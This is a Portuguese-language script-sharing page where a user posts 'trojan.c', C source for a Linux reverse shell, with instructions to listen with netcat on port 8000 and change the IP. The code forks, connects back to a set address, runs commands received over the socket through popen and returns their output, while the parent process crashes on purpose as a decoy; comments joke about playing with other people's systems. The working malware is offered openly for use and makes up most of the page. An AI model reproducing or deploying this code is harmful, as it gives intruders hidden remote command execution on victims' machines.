reverse shell na marra!

Publicado por felipe (última atualização em 11/12/2024)

[ Hits: 41 ]

Download trojan.c




Esse é um programa de reverse shell criado para linux, ele deve ser compilado e executado sem argumentos.
você deve usar o netcat junto, escutado na porta 8000, ou  a que você definir, claro, você vai ter que mudar o ip também.

  



Esconder código-fonte

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    //cria um segundo processo
    pid_t pid;

    struct sockaddr_in destino={
        .sin_family = AF_INET,
        .sin_port = htons(8000),
        .sin_addr.s_addr = inet_addr("127.0.0.1") 
    };
    //inicia
    pid = fork();

    if(pid < 0){
        perror("pid error");
        return 1;
    }

    if(pid == 0){
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock < 0){
            perror("socket error");
            return 1;
        }

        int cnx = connect(sock, (struct sockaddr *)&destino, sizeof(destino));
        if(cnx < 0){
            perror("connet error");
            return 1;
        }
        //brinca com sistema dos outros =p
        FILE *cmd;
        char buf[256];
        char rec[256];
        char *msg = "shell>";
        while(1){
            send(sock, msg, strlen(msg), 0);
            recv(sock, rec, 256, 0);
            cmd = popen(rec, "r");
            while(fgets(buf, 256, cmd) != NULL){
                send(sock, buf, strlen(buf), 0);
            }
        }
    }

    else{
        //leve engano
        //bufferOverFlow
        int lol = atoi(argv[1]) * atoi(argv[2]);
    }



    return 0;
}

Scripts recomendados

Função Senhas C/C++

SSH PortScan

Spieluhr - esse código pode ser considerado um vírus?

Captura de Banners dos Serviços

Criptografar um Arquivo de Texto por cifra de Transposição


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts